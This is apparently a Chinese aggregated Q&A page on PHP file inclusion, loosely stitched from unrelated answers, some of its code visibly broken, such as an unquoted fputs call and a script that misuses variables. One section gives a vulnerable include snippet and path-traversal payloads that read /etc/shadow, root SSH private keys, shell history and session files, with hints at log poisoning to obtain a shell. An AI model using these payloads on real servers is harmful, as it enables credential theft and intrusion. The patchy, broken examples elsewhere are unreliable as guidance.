php远程文件包含
命令需要有个前提,并不是能随便就打开局域网中的电脑。你需要有个权限,如果对方的电脑设置了密码你是根本进不了的,最好的方法就是给对方的电脑安装一个远程软件,你登录就可以了。
2. php文件包含漏洞可能造成的危害有哪些
在接下来的内容中会以代码样本作为例子,来给大家介绍各种奇葩猥琐的利用姿势。
0x01 普通本地文件包含
1
<?php
include("inc/"
. $_GET['file']);
?>
包含同目录下的文件:
?file=.htaccess
目录遍历:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中这两个文件储存着所有文件的路径,需要root权限)
包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)
获取web目录或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
包含上传的附件:
?file=../attachment/media/xxx.file
读取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsrntv0pdir1no7
(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)
如果拥有root权限还可以试试读这些东西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
如果有phpinfo可以包含临时文件:
参见http://hi..com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el
3. curl远程PHP类文件,如何使用include包含进项目里,求赐教。
把curl类文件放入项目,然后用include或者require包含进项目代码里面
然后new一个新的类就可以用了
比如该curl类名字是curlclass(parm1,parm2…………)
就可以用
include("文件路径");
$curl = new curlclass(parm1,parm2,…………);
然后就可以用了
比如curlclass里面有个
function get_url()
你就可以用
$curl->get_url()表示
4. php如何判断文件是否存在,包括本地和远程文件
当检查的文件是本地时用php自带的file_exists检查就行了,而此函数只能检查本地的函数是否存在, 所以如果要检查远程的文件是否存在只能用其它的方法了。 如果所服务器中php的配置开启了“allow_url_fopen = On”,即允许远端访问,那么也很简单,其实这个是php.ini中默认开启的, 用fopen函数判断就行了,能打开说明存在 如果allow_url_fopen = Off那么可以用socket通讯来解决 下面写的一个通用函数my_file_exists来检查文件是否存在 function my_file_exists($file){if(preg_match('/^http:\/\//',$file)){//远程文件if(ini_get('allow_url_fopen')){ if(@fopen($file,'r')) return true;}else{$parseurl=parse_url($file); $host=$parseurl['host']; $path=$parseurl['path']; $fp=fsockopen($host,80, $errno, $errstr, 10); if(!$fp)return false; fputs($fp,GET {$path} HTTP/1.1 \r\nhost:{$host}\r\n\r\n); 现在就可以调用此函数来检查文件的存在性,而不用去考虑是远程还是本地文件,或者是否禁用了allow_url_open
5. 用php程序自动读取远程文件并更新到本地,每天一次,如何做
windows:
准备:
1.将 php.exe 的路径加入 windows 的环境变量
2.编写文件:
D:\fileGeter.php
<?php
$filelist = Array(
"http://**********/a.txt",
"http://**********/b.txt",
);
$saveas="D:\\" ;
$endl = ".txt"
function getfile(){
foreach( $filelist as $k => $file )
file_put_contents( $saveas . $k . $endl , file_get_contents( $file ) ) ;
}
getfile();
?>
3.执行cmd命令
at 11:20 /every:1,2,3,4,5,6,7 "php D:\fileGeter.php"
linux 更方便
直接把此文件包含进 你要写的程序里就OK了,
fileGeter.php:
<?php
...
...
$saveas = "./";
...
..
?>
index.php:
<?php
require_once("fileGeter.php");
//and so on .....
.....
....
....
?>
6. php保存远程文件到文件夹
具体看步骤吧:
function getFile($url,$save_dir='',$filename='',$type=0){
if(trim($url)==''){
return false;
}
if(trim($save_dir)==''){
$save_dir='./';
}
if(0!==strrpos($save_dir,'/')){
$save_dir.='/';
}
//创建保存目录
if(!file_exists($save_dir)&&!mkdir($save_dir,0777,true)){
return false;
}
//获取远程文件所采用的方法
if($type){
$ch=curl_init();
$timeout=5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$content=curl_exec($ch);
curl_close($ch);
}else{
ob_start();
readfile($url);
$content=ob_get_contents();
ob_end_clean();
}
$size=strlen($content);
//文件大小
$fp2=@fopen($save_dir.$filename,'a');
fwrite($fp2,$content);
fclose($fp2);
unset($content,$url);
return array('file_name'=>$filename,'save_path'=>$save_dir.$filename);
}
getFile($url,$save_dir,$filename,1)//调用
7. require_once可以引擎远程php文件吗
不可以引擎远程php文件
require_once语句和require语句完全相同,
唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
望采纳 Thx
8. php运行时相关文件是否包含在传输文件中什么意思
在运行的过程中,相关文件肯定是不好在传输文件中的操作所表达的意思就是说这种文件是相互运行的。
9. php include 能包含远程文件吗
可以,但是需要修改配置程序。具体如下:
最好检查一下php.ini中的配置选项allow_url_include,如果为on则可以包含,否则不能包含
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off
做个简单的测试,此时allow_url_include的值为Off
测试前配置一下hosts文件,这样可以在一台电脑上面进行模拟测试
192.168.1.101 www.test1.com
192.168.1.102 www.test2.com
path.php文件内容为:
<?php
echo "This is file path.php<br />\n";
include("http://www.test2.com/research/path/path.php");
?>
path1.php文件内容为:
<?php
echo "This is file path1.php in root directory\n";
?>
执行http://www.test1.com/research/path/path.php,输出如下
This is file path.php
Warning: include() [function.include]: URL file-access is disabled in the server configuration in E:\myphp\research\path\path.php on line 3
Warning: include(http://www.test2.com/research/path/path.php) [function.include]: failed to open stream: no suitable wrapper could be found in E:\myphp\research\path\path.php on line 3
Warning: include() [function.include]: Failed opening 'http://www.test2.com/research/path/path.php' for inclusion (include_path='.;C:\php5\pear') in E:\myphp\research\path\path.php on line 3
将php.ini中的allow_url_include改为On,重新启动web服务器,再次执行http://www.test1.com/research/path/path.php,输出如下:
This is file path.php
This is file path1.php in root directory
将allow_url_include设为On以后,就可以包含远程文件了,并且包含的是远程文件执行的结果。
10. php怎样遍历远程文件夹下的文件
window是用的GB2312的编码,你的php文件应该用的是UTF-8,所以正如你写的那样,先要转换编码$dir=iconv("utf-8","gb2312",$dir);
但你别忘了,你用的是UTF-8的编码,所以你第六行写错了,把GB2312转换为UTF-8搞倒了吧
123456789101112131415<?phpfunction refresh($dir){ $dir=iconv("utf-8","gb2312",$dir); if ($headle=opendir($dir)){ while ($file=readdir($headle)){ $file=iconv("gb2312","utf-8",$file); if ($file!='.' && $file!='..'){ echo "文件".$file."在文件夹".$dir."下<br />"; } } closedir($headle); }}refresh("D:/AppServ/www/test");?>